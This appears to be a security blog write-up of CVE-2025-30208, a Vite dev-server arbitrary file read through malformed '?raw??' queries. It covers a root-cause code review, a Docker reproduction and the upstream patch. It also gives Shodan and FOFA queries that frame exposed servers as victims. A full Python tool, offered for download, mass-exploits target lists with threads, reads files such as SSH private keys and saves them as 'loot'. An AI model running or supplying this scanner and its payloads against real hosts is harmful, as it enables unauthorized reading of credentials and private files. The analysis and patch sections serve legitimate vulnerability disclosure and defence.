Overview
Vite
Vite is a widely acclaimed frontend build tool engineered for the demands of modern web development. Conceived by the creator of Vue.js, it has entrenched itself across ecosystems like Vue, React, Svelte, and more.
At its core, Vite leverages native ES modules (ESM)—a JavaScript paradigm that empowers browsers to load modular code directly, eliminating the bundling overhead during development. The result? A streamlined, high-velocity dev experience that leaves legacy tools like Webpack lagging behind.
Risk Impact
From the NVD (National Vulnerability Database):
- Confidentiality: High (Arbitrary file read)
- Exploitability: Requires a network-exposed dev server
- CVSS (GitHub CNA): 5.3 (Medium) CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
The blast radius is bigger than expect. A quick recon on Shodan:
http.html:"/@vite/client"

...or on FOFA, revealing more potential victims:
body="/@vite/client"

Thousands of live targets—exposing dev servers in the wild.
Vulnerability
In versions prior to:
- 6.2.3
- 6.1.2
- 6.0.12
- 5.4.15
- 4.5.10
...the Vite dev server improperly handles file system access restrictions via the @fs
prefix. A crafted request using ?raw??
or ?import&raw??
query strings can bypass the file serving allow list (server.fs.allow
) and retrieve the contents of arbitrary files outside the intended directories.
The bypass occurs due to:
- Trailing separators like
?
being removed inconsistently across different parsing stages. - Query string regexes not accounting for these malformed/trailing patterns, resulting in improper access validation.
Example request of Exploitation:
GET /@fs/etc/passwd?raw??
If the dev server is exposed (e.g., with --host
or server.host
), the above request can return sensitive file contents directly in the browser.
Important: This vulnerability only affects development environments where the Vite dev server is exposed to the network. But don't let the “dev-only” tag fool you. It's far from rare.
Vulnerability Analysis
Root Cause Overview
Vite is a popular open-source project which can be sourced from Github and its official website. It uses a special prefix, @fs
, to allow direct access to absolute file paths in development mode:
GET /@fs/<absolute/path/to/file>
But to prevent abuse, Vite limits what can be accessed through @fs
using a configuration like:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
So in theory, files outside the allowed directory (like /etc/passwd
) should be blocked — even if someone tries using tricks like ../../../
.
So, Where's the Flaw? The flaw lies in how Vite parses and checks URLs, especially those with query parameters like ?raw??
or ?raw&url
, which looks like:
GET /@fs/etc/passwd?raw??
What's happening:
- The path is
/@fs/etc/passwd
- The query string is
raw??
(malformed on purpose) - Internally, Vite tries to strip or normalize trailing characters like
?
, and it does this before checking if the file path is allowed. - However, the check fails to correctly parse and match the query string, so the allowlist logic doesn't apply.
This means:
- The request bypasses the
server.fs.allow
check. - Vite treats it as a valid file access request.
- And it reads and returns arbitrary files like
/etc/passwd
, if existed.
Code Review
This vulnerability spans a broad spectrum of Vite versions, impacting numerous development setups. For clarity and precision, we'll dissect the vulnerable code paths in v6.2.2—the latest affected release—as our primary specimen. This version lays bare the flaw's anatomy and offers a clear lens into the root cause.
Filesystem Access via /@fs/
Prefix
The vulnerability lies in the file packages/vite/src/node/server/middlewares/transform.ts
which defines two Express-style middleware functions used by the Vite dev server:
cachedTransformMiddleware
- Responds early with a 304 Not Modified if a browser requests a module it already has cached (via ETag).
- Helps skip unnecessary transformations for already cached modules.
- Used before
transformMiddleware
to speed things up.
- [Core]
transformMiddleware
- Detecting browser requests for JS, CSS, HTML, and source maps
- Handling special query parameters like
?import
,?raw
- Transforming modules using Vite's plugin pipeline (like handling Vue/TS/etc)
- Enforcing access rules via
ensureServingAccess()
The transform.ts
middleware pulls in several internal dependencies—one of particular interest is FS_PREFIX
(at line 28 from packages/vite/src/node/server/middlewares/transform.ts
):
[...]
import {
DEP_VERSION_RE,
ERR_FILE_NOT_FOUND_IN_OPTIMIZED_DEP_DIR,
ERR_OPTIMIZE_DEPS_PROCESSING_ERROR,
FS_PREFIX,
} from '../../constants'
[...]
At line 105, we see that FS_PREFIX
is hardcoded as /@fs/
:
/**
* Prefix for resolved fs paths, since windows paths may not be valid as URLs.
*/
export const FS_PREFIX = `/@fs/`
It's used to match and handle file-system based paths within Vite's dev server routing logic. This routing prefix is what tells Vite, “This isn't just a regular module—serve it straight from the file system.”
We can trace its usage across the codebase in a local clone of the repo with:
$ git clone https://github.com/vitejs/vite.git
$ cd vite
$ git fetch --tags
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 9 (delta 7), reused 8 (delta 7), pack-reused 0 (from 0)
Unpacking objects: 100% (9/9), 13.69 KiB | 1.24 MiB/s, done.
From https://github.com/vitejs/vite
+ 89bea89e4...65f94bac7 renovate/all-minor-patch -> origin/renovate/all-minor-patch (forced update)
To create a new branch named vuln-6.2.2
based on the v6.2.2
tag, run the following commands in our local Vite repository:
$ git checkout tags/v6.2.2 -b vuln-6.2.2
Switched to a new branch 'vuln-6.2.2'
$ git log -1
commit b12911edba0cd9edbad170a0940d37bb1e16ef2c (HEAD -> vuln-6.2.2, tag: v6.2.2)
Author: bluwy <[email protected]>
Date: Fri Mar 14 12:08:35 2025 +0800
release: v6.2.2
Once we're on v6.2.2
,we're ready to look for keyword FS_PREFIX
:
$ grep -rnw './packages/vite/src' -e 'FS_PREFIX'
[...]
./packages/vite/src/node/config.ts:26: FS_PREFIX,
./packages/vite/src/node/config.ts:892: replacement: path.posix.join(FS_PREFIX, normalizePath(ENV_ENTRY)),
./packages/vite/src/node/config.ts:896: replacement: path.posix.join(FS_PREFIX, normalizePath(CLIENT_ENTRY)),
./packages/vite/src/node/server/middlewares/transform.ts:28: FS_PREFIX,
./packages/vite/src/node/server/middlewares/transform.ts:118: const sourcemapPath = url.startsWith(FS_PREFIX)
./packages/vite/src/node/server/middlewares/static.ts:9:import { FS_PREFIX } from '../../constants'
./packages/vite/src/node/server/middlewares/static.ts:184: if (req.url!.startsWith(FS_PREFIX)) {
./packages/vite/src/node/server/middlewares/static.ts:199: let newPathname = pathname.slice(FS_PREFIX.length)
[...]
From ./packages/vite/src/node/server/middlewares/static.ts:182
, we uncover a key comment that reveals how Vite handles direct file system access through the special /@fs/
URL prefix:

This comment introduces the mechanism behind Vite's ability to serve files directly from absolute paths during development. Internally, URLs prefixed with /@fs/
are intended to be explicit and controlled access points for resolving files from the developer's file system — including files outside the project root (e.g., linked packages, monorepos, etc.).
The remaining portion of the code in static.ts
implements the core access control layer for Vite's file system serving—a crucial gatekeeper meant to enforce which paths are allowed or denied. This should have assured security when it's invoked correctly:
/**
* Check if the url is allowed to be served, via the `server.fs` config.
*/
export function isFileServingAllowed(
config: ResolvedConfig,
url: string,
): boolean
/**
* @deprecated Use the `isFileServingAllowed(config, url)` signature instead.
*/
export function isFileServingAllowed(
url: string,
server: ViteDevServer,
): boolean
export function isFileServingAllowed(
configOrUrl: ResolvedConfig | string,
urlOrServer: string | ViteDevServer,
): boolean {
const config = (
typeof urlOrServer === 'string' ? configOrUrl : urlOrServer.config
) as ResolvedConfig
const url = (
typeof urlOrServer === 'string' ? urlOrServer : configOrUrl
) as string
if (!config.server.fs.strict) return true
const filePath = fsPathFromUrl(url)
return isFileLoadingAllowed(config, filePath)
}
function isUriInFilePath(uri: string, filePath: string) {
return isSameFileUri(uri, filePath) || isParentDirectory(uri, filePath)
}
export function isFileLoadingAllowed(
config: ResolvedConfig,
filePath: string,
): boolean {
const { fs } = config.server
if (!fs.strict) return true
if (config.fsDenyGlob(filePath)) return false
if (config.safeModulePaths.has(filePath)) return true
if (fs.allow.some((uri) => isUriInFilePath(uri, filePath))) return true
return false
}
export function ensureServingAccess(
url: string,
server: ViteDevServer,
res: ServerResponse,
next: Connect.NextFunction,
): boolean {
if (isFileServingAllowed(url, server)) {
return true
}
if (isFileReadable(cleanUrl(url))) {
const urlMessage = `The request url "${url}" is outside of Vite serving allow list.`
const hintMessage = `
${server.config.server.fs.allow.map((i) => `- ${i}`).join('\n')}
Refer to docs https://vite.dev/config/server-options.html#server-fs-allow for configurations and more details.`
server.config.logger.error(urlMessage)
server.config.logger.warnOnce(hintMessage + '\n')
res.statusCode = 403
res.write(renderRestrictedErrorHTML(urlMessage + '\n' + hintMessage))
res.end()
} else {
// if the file doesn't exist, we shouldn't restrict this path as it can
// be an API call. Middlewares would issue a 404 if the file isn't handled
next()
}
return false
}
function renderRestrictedErrorHTML(msg: string): string {
// to have syntax highlighting and autocompletion in IDE
const html = String.raw
return html`
<body>
<h1>403 Restricted</h1>
<p>${escapeHtml(msg).replace(/\n/g, '<br/>')}</p>
<style>
body {
padding: 1em 2em;
}
</style>
</body>
`
}
This code snippet defines robust filesystem access guards through layered checks such as isFileServingAllowed()
and isFileLoadingAllowed()
. Followingly, ensureServingAccess()
functions as the critical gatekeeper responsible for enforcing the configured server.fs.allow
policy:
export function ensureServingAccess(
url: string,
server: ViteDevServer,
res: ServerResponse,
next: Connect.NextFunction,
): boolean {
if (isFileServingAllowed(url, server)) {
return true
}
[...]
return false
}
When invoked properly, this function prevents the dev server from serving unauthorized files outside the allowlist, terminating the request with a 403
error if the file is not explicitly permitted.
The
server.fs.allow
policy is part of the Vite config system, specifically underserver.fs
. We can find it in the Vite config schema, defined inpackages/vite/src/node/config.ts
, looking for functionresolveConfig()
defined here to dive deep understanding how the policies work. Explicit implementation of ourserver.fs.allow
policy can be found for example in path/packages/vite/src/node/server/index.ts
at line 1119, etc.
Overall, the /@fs/
access was intended to be secure, but inconsistent validation between middlewares will still introduce hidden security risks - specifically in transformMiddleware()
.
TransformMiddleware
The middleware transformMiddleware
(defined at line 81 on version v6.2.2 as an example) in packages/vite/src/node/server/middlewares/transform.ts
is an Express-compatible middleware factory. It receives the Vite dev server instance and returns a request handler used in development mode:
export function transformMiddleware(
server: ViteDevServer,
): Connect.NextHandleFunction {
During development, the returned viteTransformMiddleware
is executed on every incoming HTTP GET
request. As a standard practice, it filters out non-GET requests and known ignorable paths (e.g., /favicon.ico
):
if (req.method !== 'GET' || knownIgnoreList.has(req.url!)) {
return next()
}
Next, it performs URL sanitization and decoding before any transformation logic:
let url: string
try {
url = decodeURI(removeTimestampQuery(req.url!)).replace(
NULL_BYTE_PLACEHOLDER,
'\0',
)
} catch (e) {
return next(e)
}
const withoutQuery = cleanUrl(url)
Following that, the middleware performs routine handling for source maps (.js.map
) and optimized dependency requests—operations unrelated to the exploit vector. We'll skip those and zero in on the real threat.
Here's the snippet that holds the core of the vulnerability:
if (
(rawRE.test(url) || urlRE.test(url)) &&
!ensureServingAccess(url, server, res, next)
) {
return
}
This is the vulnerable part.
rawRE
andurlRE
are regular expressions matching special import variants like?raw
,?url
, or?import
.- If the URL matches, Vite enforces access control via
ensureServingAccess()
(introduced instatic.ts
from previous section), which checks if the file is allowed byserver.fs.allow
.
To dive deeper into how rawRE
and urlRE
operate, we can search for their definitions in the local vulnerable repo (vuln-6.2.2
branch) like so:
$ grep -rnw './packages/vite/src' -e 'rawRE'
[...]
./packages/vite/src/node/utils.ts:354:export const rawRE = /(\?|&)raw(?:&|$)/
./packages/vite/src/node/utils.ts:359: return url.replace(rawRE, '$1').replace(trailingSeparatorRE, '')
$grep -rnw './packages/vite/src' -e 'urlRE'
[...]
./packages/vite/src/node/utils.ts:353:export const urlRE = /(\?|&)url(?:&|$)/
./packages/vite/src/node/utils.ts:356: return url.replace(urlRE, '$1').replace(trailingSeparatorRE, '')
Exactly—the real magic (and the oversight) begins in /packages/vite/src/node/utils.ts
, starting at line 353:

urlRE
and rawRE
both serve the same logic. This regex is used to detect the presence of raw
(or url
) in the query string of a URL—such as ?raw
, &raw
, or &raw&...
.
For instance, the /(\?|&)raw(?:&|$)/
pattern:
/.../
— standard JavaScript regex delimiters.(\?|&)
— capturing group that matches:- Either a literal
?
(beginning of query string), - Or an
&
(a later query param).
- Either a literal
raw
— the exact keyword to match.(?:&|$)
— a non-capturing group that matches:- Either a trailing ampersand (
&
) — meaning more query parameters follow, - Or the end of the string (
$
).
- Either a trailing ampersand (
Here are some strings that this regex will match:
Input URL | Matched Part |
---|---|
/path?raw | ?raw |
/path?raw&other=value | ?raw& |
/path?file.js&raw | &raw |
/path?file.js&raw&other | &raw& |
/path?x=1&raw | &raw |
/path?x=1&raw= | &raw |
Here's what won't match:
Input URL | Why it fails |
---|---|
/path?rawfile.js | raw is not isolated |
/path?file=raw | raw is a value, not a key |
/path?rawx | not terminated with & or end-of-string |
/path?x=1&rawish=1 | raw is part of a longer key |
The
urlRE
regex work under the same logic.
There are numerous mismatching patterns that deviate from standard URL formatting—particularly when an attacker crafts ambiguous or malformed queries, which we'll dissect in the next section. In such scenarios, the regex may fail to match as expected, quietly bypassing the vulnerable conditional logic highlighted earlier and allowing the request to slip further into the exported middleware function transformMiddleware()
.
Exploit Vulnerability
We can exploit this by crafting malformed query parameters (e.g., ?raw??
, ?raw&url
), bypassing regex checks and reaching internal file paths that should be protected by the fs.allow
policy.
A recap on the vulnerable code from transformMiddleware
defined in transform.ts
:
if (
(rawRE.test(url) || urlRE.test(url)) &&
!ensureServingAccess(url, server, res, next)
) {
return
}
[...]
This if
statement is saying:
If the request matches either
rawRE
orurlRE
, andensureServingAccess()
returns false, then stop handling this request (return
).
So:
rawRE.test(url) || urlRE.test(url)
- This part is a gatekeeper.
- It decides whether to apply the
ensureServingAccess()
check at all. - If neither regex matches,
ensureServingAccess()
is not even called.
!ensureServingAccess(...)
- This function enforces the
fs.allow
policy. - If it returns
false
, access is denied, and we return early (blocking the request).
- This function enforces the
Now imagine this request:
GET /@fs/etc/passwd?raw??
Or:
GET /@fs/etc/passwd?raw&url
As a result:
rawRE.test(url)
returns false, because the regex is strict ((\?|&)raw(?:&|$)
).urlRE.test(url)
also returns false.- So the entire condition fails — the whole
if (...)
is skipped. ensureServingAccess()
is never called!
Now the request flows deeper into the middleware chain—unvalidated—and gains direct access to paths like /@fs/etc/passwd
or other sensitive locations on the server's filesystem.
PoC
Now that we've dissected how malformed query strings can slip past the ensureServingAccess()
check, it's time to go hands-on. Let's spin up a Docker environment to isolate, test, and analyze the vulnerability in Vite v6.2.2—the last known version affected by CVE-2025-30208
.
Reproduction
Here, I will set up a Docker environment to test the Vite v6.2.2 PoC for CVE-2025-30208.
First, let's create a Dockerfile
:
FROM node:20-slim
# Install git, curl, and pnpm
RUN apt-get update && apt-get install -y git curl && \
corepack enable && corepack prepare [email protected] --activate && \
rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Clone the target version of Vite
RUN git clone --branch v6.2.2 https://github.com/vitejs/vite.git .
# Install dependencies with pnpm
RUN pnpm install --frozen-lockfile
# Default command to start the dev server
CMD ["pnpm", "dev"]
Create a docker-compose.yml
:
version: '3'
services:
vite-dev:
build: .
ports:
- "5173:5173"
volumes:
- .:/app
stdin_open: true
tty: true
Build the environment:
docker-compose build
Fully built container for PoC:

We can first verify the Vite version inside the Docker image (cve-2025-30208-vite-dev
):
# Verify Vite installed
docker run --rm cve-2025-30208-vite-dev node -p "require('./packages/vite/package.json').name"
# Verify Vite version
docker run --rm cve-2025-30208-vite-dev node -p "require('./packages/vite/package.json').version"
Expected outcome:

To test CVE-2025-30208 (aka the @fs/
path traversal issue) inside this Docker-based Vite source environment, first run the development container interactively, exposing port 5173
:
docker run -it --rm -p 5173:5173 cve-2025-30208-vite-dev /bin/bash
Inside the container, set up Vite's full development environment. Navigate into the playground, and look for some examples under /app/playground
to launch a real Vite development server. For testing the @fs
path traversal issue in CVE-2025-30208, the best one to use is /app/playground/fs-serve
:
cd /app/playground/fs-serve<br>pnpm install
When successfully installed:

Start the dev server:
pnpm dev --host
This will bind Vite to 0.0.0.0
, making it accessible from outside the container via localhost:5173
:

Now we can test the Path Traversal exploit via (with or without ../
):
curl 'http://localhost:5173/@fs/../../../../../../etc/passwd?raw??'
# or
curl 'http://localhost:5173/@fs/../../../../../../etc/passwd?raw&url
Pwned:

To assert the result and confirm the exploit, we can compare the actual contents of the /etc/passwd
file inside the Docker container with the response from the vulnerable Vite server:

PoC Script
The @fs
Prefix works with absolute path, so our malformed request can be anything that bypass the regex logic to make it false but parsed:
http://<URL>/@fs/<abs_path_to_file>?raw??
http://<URL>/@fs/<abs_path_to_file>?raw&url
http://<URL>/@fs/<abs_path_to_file>?import&raw??
[...]
A PoC script to exploit CVE-2025-30208 for single or bulk targets:
import requests
import argparse
import urllib3
import concurrent.futures
import re
import os
from urllib.parse import urljoin
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Common LFI paths and indicators for verification
LINUX_PATHS = [
("/etc/passwd", "root:/bin/bash"),
("/etc/hosts", "127.0.0.1"),
]
WINDOWS_PATHS = [
("C:/windows/win.ini", "[fonts]"),
("C:/boot.ini", "[boot loader]"),
]
def sanitize_filename(text):
"""Sanitize string to be used as filename."""
safe = re.sub(r'[^\w\-]', '_', text)
return re.sub(r'_+', '_', safe).strip('_')
def log_result(content, url, output_dir):
"""Write exploitation result to a file."""
filename = sanitize_filename(url)
os.makedirs(output_dir, exist_ok=True)
with open(os.path.join(output_dir, f"{filename}.txt"), "w") as f:
f.write(f"[SUCCESS] {url}\n")
f.write(content)
print(f"[+] Saved to {output_dir}/{filename}.txt")
def fetch_url(url, proxy=None, timeout=5):
"""Fetch a URL with optional proxy."""
proxies = {"http": proxy, "https": proxy} if proxy else None
try:
return requests.get(url, timeout=timeout, verify=False, proxies=proxies, allow_redirects=False)
except requests.RequestException as e:
return e
def normalize_bypass_query(query: str) -> str:
"""Ensure the query string starts with a single '?'."""
query = query.lstrip('?') # remove all leading ?
return '?' + query
def build_payload_path(fs_path, bypass_query):
"""Construct the /@fs path for LFI."""
fs_path = fs_path.strip()
if not fs_path.startswith("/"):
fs_path = "/" + fs_path
query = normalize_bypass_query(bypass_query)
return f"/@fs{fs_path}{query}"
def verify_vulnerability(base_url, bypass_query, proxy=None):
"""Try known OS files to verify if @fs LFI is exploitable."""
candidates = LINUX_PATHS + WINDOWS_PATHS
for path, indicator in candidates:
payload = build_payload_path(path, bypass_query)
for scheme in ["http://", "https://"]:
full_url = urljoin(scheme + base_url.rstrip('/') + '/', payload.lstrip('/'))
resp = fetch_url(full_url, proxy)
if isinstance(resp, Exception):
continue
if resp.status_code == 200 and indicator in resp.text:
print(f"[+] Verified @fs LFI on {full_url}")
return True
return False
def exploit_target(base_url, fs_path, bypass_query, proxy=None, output_dir="results"):
"""Run actual payload exploit."""
payload = build_payload_path(fs_path, bypass_query)
for scheme in ["http://", "https://"]:
full_url = urljoin(scheme + base_url.rstrip('/') + '/', payload.lstrip('/'))
resp = fetch_url(full_url, proxy)
if isinstance(resp, Exception):
continue
if resp.status_code == 200:
print(f"[+] Exploited: {full_url}")
log_result(resp.text, full_url, output_dir)
return full_url
else:
print(f"[FAIL] {full_url} → {resp.status_code}")
return None
def handle_single_target(base_url, fs_path, bypass_query, proxy=None, output_dir="results"):
"""Verify then exploit single target."""
print(f"[*] Verifying {base_url}")
if verify_vulnerability(base_url, bypass_query, proxy):
print(f"[*] Exploiting {base_url} with {fs_path}")
exploit_target(base_url, fs_path, bypass_query, proxy, output_dir)
else:
print(f"[-] Not vulnerable: {base_url}")
def run_batch(file_path, fs_path, bypass_query, proxy=None, output_dir="results", max_workers=10):
"""Verify and exploit batch targets."""
with open(file_path, "r") as f:
targets = [line.strip() for line in f if line.strip()]
with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = {
executor.submit(handle_single_target, target, fs_path, bypass_query, proxy, output_dir): target
for target in targets
}
for future in concurrent.futures.as_completed(futures):
_ = future.result()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-30208 PoC for Vite @fs LFI")
parser.add_argument("-f", "--file", help="File with targets (one per line)")
parser.add_argument("-u", "--url", help="Single target (e.g., https://example.com:5173)")
parser.add_argument("-p", "--path", default="/etc/passwd", help="Path to try read (default: /etc/passwd)")
parser.add_argument("-b", "--bypass", default="?raw??", help="Bypass query (?raw??, ?import&raw??, etc.)")
parser.add_argument("--proxy", help="Proxy like http://127.0.0.1:8080")
parser.add_argument("-o", "--output", default="results", help="Directory to save result files")
parser.add_argument("-t", "--threads", type=int, default=10, help="Number of concurrent threads (default: 10)")
args = parser.parse_args()
if args.url:
handle_single_target(args.url, args.path, args.bypass, args.proxy, args.output)
elif args.file:
run_batch(args.file, args.path, args.bypass, args.proxy, args.output, args.threads)
else:
parser.print_help()
This can be downloaded from my Github repo.
PoC Usage
Basic usage
python3 poc.py [OPTIONS]
Options
Flag / Option | Description |
---|---|
-u, --url | Single target URL (e.g. example.com:5173) |
-f, --file | File with list of targets (one URL per line) |
-p, --path | Filesystem path to read (default: /etc/passwd) |
-b, --bypass | Query string to bypass route validation (default: ?raw??) |
--proxy | Proxy URL (e.g. http://127.0.0.1:8080) |
-o, --output | Output directory for saving exploitation results (default: results) |
-t, --threads | Number of threads for batch mode (default: 10) |
-h, --help | Show help message and exit |
Examples
Single target exploitation:
python3 cve-2025-30208.py -u example.com:5173
Single target with custom LFI path to leak the file we want:
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
Batch exploitation with multiple targets:
python3 cve-2025-30208.py -f targets.txt
Custom bypass query:
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
Using a proxy (e.g. Burp Suite):
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
Custom output directory:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
Increase thread count in batch mode:
python3 cve-2025-30208.py -f targets.txt -t 50
Patch
Diff
The vulnerability was addressed in multiple Vite release lines through targeted commits. The issue is fixed in the following versions:
- v6.2.3 — Commit f234b57
- v6.1.2 — Commit 80381c3
- v6.0.12 — Commit 92ca12d
- v5.4.15 — Commit 807d7f0
- v4.5.10 — Commit 315695e
Each patch resolves the directory traversal bypass by tightening the handling of query strings and improving consistency in path sanitization and access checks.
Here, we will walk through the patch in commit f234b57
for Vite v6.2.3, since we have done code review and PoC on the newest vulnerable version v6.2.2.
We can first clone the repository as a local Git repo and inspect the patch details:
git clone https://github.com/vitejs/vite.git
cd vite
git show f234b5744d8b74c95535a7b82cc88ed2144263c1 > ../patch.diff
Then retrieve the full patch diff from commit f234b57
:
commit f234b5744d8b74c95535a7b82cc88ed2144263c1
Author: 翠 / green <[email protected]>
Date: Mon Mar 24 18:25:11 2025 +0900
fix: fs raw query with query separators (#19702)
diff --git a/packages/vite/src/node/server/middlewares/transform.ts b/packages/vite/src/node/server/middlewares/transform.ts
index 22f06cfba..8515c88db 100644
--- a/packages/vite/src/node/server/middlewares/transform.ts
+++ b/packages/vite/src/node/server/middlewares/transform.ts
@@ -43,6 +43,7 @@ import { ensureServingAccess } from './static'
const debugCache = createDebugger('vite:cache')
const knownIgnoreList = new Set(['/', '/favicon.ico'])
+const trailingQuerySeparatorsRE = /[?&]+$/
/**
* A middleware that short-circuits the middleware chain to serve cached transformed modules
@@ -169,9 +170,19 @@ export function transformMiddleware(
warnAboutExplicitPublicPathInUrl(url)
}
+ const urlWithoutTrailingQuerySeparators = url.replace(
+ trailingQuerySeparatorsRE,
+ '',
+ )
if (
- (rawRE.test(url) || urlRE.test(url)) &&
- !ensureServingAccess(url, server, res, next)
+ (rawRE.test(urlWithoutTrailingQuerySeparators) ||
+ urlRE.test(urlWithoutTrailingQuerySeparators)) &&
+ !ensureServingAccess(
+ urlWithoutTrailingQuerySeparators,
+ server,
+ res,
+ next,
+ )
) {
return
}
diff --git a/playground/fs-serve/__tests__/fs-serve.spec.ts b/playground/fs-serve/__tests__/fs-serve.spec.ts
index deeb5153b..4f55df0fa 100644
--- a/playground/fs-serve/__tests__/fs-serve.spec.ts
+++ b/playground/fs-serve/__tests__/fs-serve.spec.ts
@@ -96,6 +96,20 @@ describe.runIf(isServe)('main', () => {
expect(await page.textContent('.unsafe-fs-fetch-raw-status')).toBe('403')
})
+ test('unsafe fs fetch query 1', async () => {
+ expect(await page.textContent('.unsafe-fs-fetch-raw-query1')).toBe('')
+ expect(await page.textContent('.unsafe-fs-fetch-raw-query1-status')).toBe(
+ '403',
+ )
+ })
+
+ test('unsafe fs fetch query 2', async () => {
+ expect(await page.textContent('.unsafe-fs-fetch-raw-query2')).toBe('')
+ expect(await page.textContent('.unsafe-fs-fetch-raw-query2-status')).toBe(
+ '403',
+ )
+ })
+
test('unsafe fs fetch with special characters (#8498)', async () => {
expect(await page.textContent('.unsafe-fs-fetch-8498')).toBe('')
expect(await page.textContent('.unsafe-fs-fetch-8498-status')).toBe('404')
diff --git a/playground/fs-serve/root/src/index.html b/playground/fs-serve/root/src/index.html
index a0c98e32f..26375949c 100644
--- a/playground/fs-serve/root/src/index.html
+++ b/playground/fs-serve/root/src/index.html
@@ -37,6 +37,10 @@
<pre class="unsafe-fs-fetch"></pre>
<pre class="unsafe-fs-fetch-raw-status"></pre>
<pre class="unsafe-fs-fetch-raw"></pre>
+<pre class="unsafe-fs-fetch-raw-query1-status"></pre>
+<pre class="unsafe-fs-fetch-raw-query1"></pre>
+<pre class="unsafe-fs-fetch-raw-query2-status"></pre>
+<pre class="unsafe-fs-fetch-raw-query2"></pre>
<pre class="unsafe-fs-fetch-8498-status"></pre>
<pre class="unsafe-fs-fetch-8498"></pre>
<pre class="unsafe-fs-fetch-8498-2-status"></pre>
@@ -209,6 +213,40 @@
console.error(e)
})
+ fetch(
+ joinUrlSegments(
+ base,
+ joinUrlSegments('/@fs/', ROOT) + '/unsafe.json?import&raw??',
+ ),
+ )
+ .then((r) => {
+ text('.unsafe-fs-fetch-raw-query1-status', r.status)
+ return r.json()
+ })
+ .then((data) => {
+ text('.unsafe-fs-fetch-raw-query1', JSON.stringify(data))
+ })
+ .catch((e) => {
+ console.error(e)
+ })
+
+ fetch(
+ joinUrlSegments(
+ base,
+ joinUrlSegments('/@fs/', ROOT) + '/unsafe.json?import&raw?&',
+ ),
+ )
+ .then((r) => {
+ text('.unsafe-fs-fetch-raw-query2-status', r.status)
+ return r.json()
+ })
+ .then((data) => {
+ text('.unsafe-fs-fetch-raw-query2', JSON.stringify(data))
+ })
+ .catch((e) => {
+ console.error(e)
+ })
+
// outside root with special characters #8498
fetch(
joinUrlSegments(
Patch Analysis
Main Fix in transformMiddleware()
:
+const trailingQuerySeparatorsRE = /[?&]+$/
[...]
+ const urlWithoutTrailingQuerySeparators = url.replace(
+ trailingQuerySeparatorsRE,
+ '',
+ )
This introduces a new regular expression that strips all trailing ?
, &
, or combinations of them before applying the regex-based filters and ensureServingAccess()
logic.
Then the normalized urlWithoutTrailingQuerySeparators
, which is the sanitized version of the request URL, is first normalized by stripping any trailing ?
, &
, or combinations like ??
, ?&
beforehand:
if (
- (rawRE.test(url) || urlRE.test(url)) &&
- !ensureServingAccess(url, server, res, next)
+ (rawRE.test(urlWithoutTrailingQuerySeparators) ||
+ urlRE.test(urlWithoutTrailingQuerySeparators)) &&
+ !ensureServingAccess(
+ urlWithoutTrailingQuerySeparators,
+ server,
+ res,
+ next,
+ )
This ensures:
- All variants like
?raw??
,?import&raw?&
,?import?
, etc., are normalized before security validation. - Prevents query separator-based bypass of access control logic.
- Closes the loophole exploited by CVE-2025-30208.
The patch also includes two new test cases in fs-serve.spec.ts
:
+ test('unsafe fs fetch query 1', ...)
+ test('unsafe fs fetch query 2', ...)
These simulate malicious requests using:
GET /unsafe.json?import&raw??
GET /unsafe.json?import&raw?&
And assert that the server correctly returns 403 Forbidden
.
Comments | NOTHING